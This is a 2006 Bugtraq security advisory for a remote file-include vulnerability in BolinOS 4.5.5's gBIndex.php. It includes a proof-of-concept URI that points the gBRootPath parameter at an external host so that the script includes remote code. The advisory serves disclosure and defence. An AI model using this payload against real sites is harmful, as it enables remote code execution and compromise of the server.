BolinOS GBIndex.PHP Remote File Include Vulnerability

Bugtraq ID:	20037
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 15 2006 12:00AM
Updated:	Sep 15 2006 08:17PM
Credit:	xoron is credited with the discovery of this vulnerability.
Vulnerable:	BolinOS BolinOS 4.5.5
Not Vulnerable:

BolinOS GBIndex.PHP Remote File Include Vulnerability

BolinOS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

BolinOS 4.5.5 and earlier versions are vulnerable to this issue; other versions may also be affected.

BolinOS GBIndex.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI demonstrates this vulnerability:

http://www.example.com.com/[scriptpath]/system/_b/contentFiles/gBIndex.php?gBRootPath=http://www.example.com

BolinOS GBIndex.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

BolinOS GBIndex.PHP Remote File Include Vulnerability

References:

• BolinOS Homepage (BolinOS)
  
• BolinOS v.4.5.5 <= (gBRootPath) Remote File Include Vulnerability ([email protected])